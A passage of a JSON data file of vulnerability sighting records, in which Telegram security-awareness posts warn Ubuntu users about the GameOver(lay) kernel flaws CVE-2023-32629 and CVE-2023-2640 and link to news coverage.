\u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 40% \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439! \u0423\u0437\u043d\u0430\u0439\u0442\u0435 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 GameOver(lay) CVE-2023-32629 \u0438 CVE-2023-2640: https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability", "creation_timestamp": "2026-09-09T00:00:10.677237Z"}, {"uuid": "f0e51097-33b9-4eea-829f-510471f8c8f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://t.me/cissp/7061", "content": "\ud83d\udea8 Heads up, Ubuntu users! \n \nResearchers have discovered high-severity Linux flaws in the Ubuntu kernel, affecting 40% of users! \n \nLearn about GameOver(lay) vulnerabilities CVE-2023-32629 and CVE-2023-2640: https://thehackernews.com/2023/07/gameoverlay-two-severe-linux.html\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1402.05.06", "creation_timestamp": "2026-09-09T22:00:05.269146Z"}, {"uuid": "3a50d423-16e7-4d9b-bf21-02f72917be21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://t.me/cissp/7061", "content": "\ud83d\udea8 Heads up, Ubuntu users! \n \nResearchers have discovered high-severity Linux flaws in the Ubuntu kernel, affecting 40% of users! \n \nLearn about GameOver(lay) vulnerabilities CVE-2023-32629 and CVE-2023-2640: https://thehackernews.com/2023/07/gameoverlay-two-severe-linux.html\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1402.05.06", "creation_timestamp": "2026-09-10T00:00:11.252694Z"}]}